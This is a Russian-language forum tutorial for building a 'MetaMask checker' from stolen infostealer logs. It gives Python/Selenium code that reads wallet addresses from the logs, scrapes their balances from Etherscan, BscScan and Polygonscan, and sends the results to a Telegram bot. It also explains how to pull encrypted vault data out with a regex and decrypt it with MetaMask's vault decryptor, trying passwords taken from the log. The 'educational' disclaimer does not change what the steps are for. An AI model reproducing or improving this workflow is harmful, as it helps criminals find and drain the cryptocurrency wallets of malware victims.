Чекер метамаска с выдачей
Делаем свой чекер метамаска за 10 минут!
Статья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.
- Скачиваем питон - https://www.python.org/ , будет использоваться селениум вместо баса, технология та же
- Скачиваем драйвер хрома - https://chromedriver.storage.googleapis.com/94.0.4606.41/chromedriver_win32.zip
- Забиваем команды в консоль, чтобы установить нужные модули
- Код:
pip install selenium
- Учимся в школе 11 лет, чтобы научится списывать у других
- Устанавливаем расширение в браузер для упрощения жизни - https://chrome.google.com/webstore/detail/selenium-ide/mooikfkahbdckldjjndioackbalphokd
Данный минимум необходим для того, чтобы создавать ваше собственный чекер на браузерах.
- ETH (ETH) - https://etherscan.io/address/
- BSC (BNB) - https://bscscan.com/address/
- MATIC (MATIC) - https://polygonscan.com/address/
Переходим на каждый сайт и сохраняем самый по вашему мнению стабильный селектор с помощью расширения Selenium IDE.
Импортируем библиотеку селениума, создаем словари, типа сайт - блок баланса и создаем экземпляр драйвера, для управления браузером:
from selenium import webdriverimport time slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8", "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8", "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8" }wb = webdriver.Chrome()
Берем наш СНГ лог с метамаском и ищем программно в нем .log файлы, читаем в них адресса с помощью регулярки - 0x[0-9A-Za-z]{35, 45} и по каждому адресу будем проходится софтиной.
Вам нужна регулярка {data.*iv.*salt?} и все полученные результаты, забивать сюда - https://metamask.github.io/vault-decryptor/ перебирая массив паролей с лога.
Возвращаемся к коду, вы будете парсить балансы с .log файла, я для примера возьму рандомный, код получается таким:
from selenium import webdriverimport time slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8", "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8", "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8" }wb = webdriver.Chrome() adress = "0xde744657f4ba10e1728e071c7f5fabe7cf3b9ac6"balances = {}for site, css in slovar.items(): wb.get(site+adress) while(True): try: balances[site] = wb.find_element_by_css_selector(css).text break except: time.sleep(1)print(balances)
Качаем pip install pytelegrambotapi, делаем бота, берем наш чатид и делаем код:
from selenium import webdriverimport timeimport telebot slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8", "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8", "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8" }wb = webdriver.Chrome() adress = "0xde744657f4ba10e1728e071c7f5fabe7cf3b9ac6"balances = {}for site, css in slovar.items(): wb.get(site+adress) while(True): try: balances[site] = wb.find_element_by_css_selector(css).text break except: time.sleep(1)print(balances)wb.close() bot = telebot.TeleBot("token")bot.send_message("chat_id", f"{adress}\n{balances}")